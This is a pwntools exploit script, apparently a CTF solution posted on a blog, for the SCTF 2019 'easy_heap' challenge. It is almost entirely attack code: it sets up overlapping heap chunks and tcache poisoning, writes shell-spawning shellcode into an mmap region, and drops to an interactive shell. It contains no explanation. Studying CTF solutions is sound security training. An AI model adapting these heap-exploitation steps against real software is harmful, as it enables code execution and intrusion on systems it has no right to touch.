1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77
| from pwn import* from LibcSearcher import *
p=process("./sctf2019_easy_heap") context.log_level="debug" libc=ELF('./libc-2.27.so') context.arch='amd64'
def add(size): p.sendlineafter('>> ','1') p.sendlineafter('Size: ',str(size))
def fill(index,content): p.sendlineafter('>> ','3') p.sendlineafter('Index:',str(index)) p.sendlineafter('Content:',content)
def delete(index): p.sendlineafter('>> ','2') p.sendlineafter('Index: ',str(index))
p.recvuntil(b'Mmap: ') vmap = p.recvline().strip() vmap = int(vmap, 16) print('vmap=>'+hex(vmap)) add(0x410) add(0x68) add(0x4f0) add(0x68)
payload=p64(0)*12+p64(0x490) delete(0)
fill(1,payload)
delete(2)
add(0x410) add(0x68)
delete(3) delete(1) delete(2)
add(0x68)
fill(1,p64(vmap)) add(0x68) add(0x68)
shellcode=asm(shellcraft.sh()) fill(3,shellcode)
add(0x4f0)
delete(0)
fill(1,payload)
delete(1)
delete(4)
add(0x410) gdb.attach(p) sleep(1) pause() fill(2,'\x30')
add(0x68) fill(1,p64(vmap))
add(0x68) fill(4,p64(vmap)) add(0x20)
p.interactive()
|
评论区
欢迎你留下宝贵的意见,昵称输入QQ号会显示QQ头像哦~